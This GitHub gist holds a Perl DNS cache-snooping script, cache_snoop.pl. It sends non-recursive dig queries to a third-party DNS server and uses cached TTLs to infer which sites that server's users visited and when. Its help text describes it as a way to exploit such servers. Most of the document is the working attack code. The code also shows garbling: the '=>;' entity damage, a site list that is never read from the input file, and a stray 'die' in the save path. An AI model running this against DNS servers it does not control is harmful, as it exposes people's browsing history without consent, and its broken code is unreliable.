Skip to content

Instantly share code, notes, and snippets.

@bhardin
Created March 8, 2012 01:32
Show Gist options
  • Save bhardin/1997866 to your computer and use it in GitHub Desktop.
Save bhardin/1997866 to your computer and use it in GitHub Desktop.
perl script to aid in cache snooping vulnerabilities
#!/usr/bin/perl
# cache_snoop.pl
# Developed by: Brett Hardin
$version = 1.0;
use Getopt::Long;
my $options = GetOptions (
"help" =>; \$help,
"save" =>; \$save,
"dns=s" =>; \$dns_server,
"ttl" =>; \$ttl_option,
"queries=s" =>; \$queries
);
if($help ne "") { &Help; }
if($dns_server eq "") { die "Usage: cache_snoop.pl -dns -queries \n"; }
open(FILE, $queries) or die "Usage: cache_snoop.pl -dns -queries \n";
@sites;
#FIRST RUN IS FOR FINDING OUT DEFUALT TTL
if($ttl_option ne "") {
print "Finding Default TTL's…\n";
&default_TTL;
}
for $site (@sites) {
chomp($site);
$default_TTL = $TTL_list{$site};
if($site =~ /^\#/) { print $site . "\n"; next; }
if($site =~ /^$/) { print "\n"; next;}
$results = `dig \@$dns_server $site A +norecurse`;
if ($results =~ /ANSWER: 0,/) {
print "[NO] " . $site . " not visited\n";
}
else {
@edited_result = split(/\n/, $results);
@greped_result = grep(/^$site\./, @edited_result);
@A_Broke = split(/\s+/, $greped_result[0]);
$TTL = $A_Broke[1];
print "[YES] " . $site . " ($TTL";
if($ttl_option ne "") {
&timeLeft;
print "/$default_TTL) - Initial Request was made: $LAST_VISITED\n";
}
else { print " TTL)\n"; }
if($save ne "") {
print $results; die;
open(OUTPUT, ">;$site.DNS.txt");
print OUTPUT $results;
close(OUTPUT);
}
}
}
sub timeLeft{
$seconds = ($default_TTL - $TTL);
@parts = gmtime($seconds);
$LAST_VISITED = "$parts[7]d $parts[2]h $parts[1]m $parts[0]s";
}
sub default_TTL {
# This function returns the default TTL
# To do this, you need to find the DNS server from the root DNS server
# then query that DNS server for the site you are looking for, it will return the default TTL
%DNS_list = ();
%TTL_list = ();
# Find the NS for the site
for $site (@sites) {
if($site =~ /^\#/) { next; }
if($site =~ /^$/) { next;}
chomp($site);
#QUERY the TLD domain
$query_result_1 = `dig \@a.gtld-servers.net $site`;
@edited_query_1 = split(/\n/, $query_result_1);
$found = 0;
# Find the DNS server
for $each (@edited_query_1) {
if ($found == 1) {
@A_Broke = split(/\s+/, $each);
$root_DNS = $A_Broke[0];
last;
}
if($each =~ /ADDITIONAL SECTION:/) { $found = 1; }
}
$DNS_list{$site} = $root_DNS;
}
print "Done with Name Server lookup…\n";;
# Find the TTL from the default NS server.
foreach $site (sort keys %DNS_list) {
#print "$site: $DNS_list{$site}\n";
$DNS_SERVER = $DNS_list{$site};
#QUERY the TLD domain
$query_result_2 = `dig \@$DNS_SERVER $site`;
@edited_query_2 = split(/\n/, $query_result_2);
$found = 0;
# Find the DNS server
for $each (@edited_query_2) {
if ($found == 1) {
@A_Broke = split(/\s+/, $each);
$default_TTL = $A_Broke[1];
last;
}
if($each =~ /ANSWER SECTION:/) { $found = 1; }
}
#print $site . " default TTL: $default_TTL\n";
$TTL_list{$site} = $default_TTL;
}
print "Done with TTL lookups…\n";
foreach $site (sort keys %TTL_list) {
print "$site - $TTL_list{$site}\n";
}
}
sub Help {
print "\n";
print "#################################\n";
print "# #\n";
print "# cache_snoop.pl v$version #\n";
print "# #\n";
print "#################################\n\n";
print "usage: $0 -dns -queries \n";
print "\n";
print "purpose: Exploit a DNS server that allows 3rd party queries to determine what sites\n";
print " the DNS servers users have been going to.\n";
print "\n";
print " Options:\n\n";
print " -help What your looking at.\n";
print " -dns [required] DNS server susceptible to 3rd party queries\n";
print " -queries file with the queries you would like to make [Default: queries.txt]\n";
print " -save Save the DNS responses that are received to individual text files.\n";
print " -ttl Will lookup the default TTL's and comparing them with what the server has.\n";
print "\n";
print "Sample Output:\n";
print "[NO] fidelity.com not visited\n";
print "[YES] finance.google.com (165020) visited\n";
print "[Visited] site (TTL)\n";
print "\n\n";
exit;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment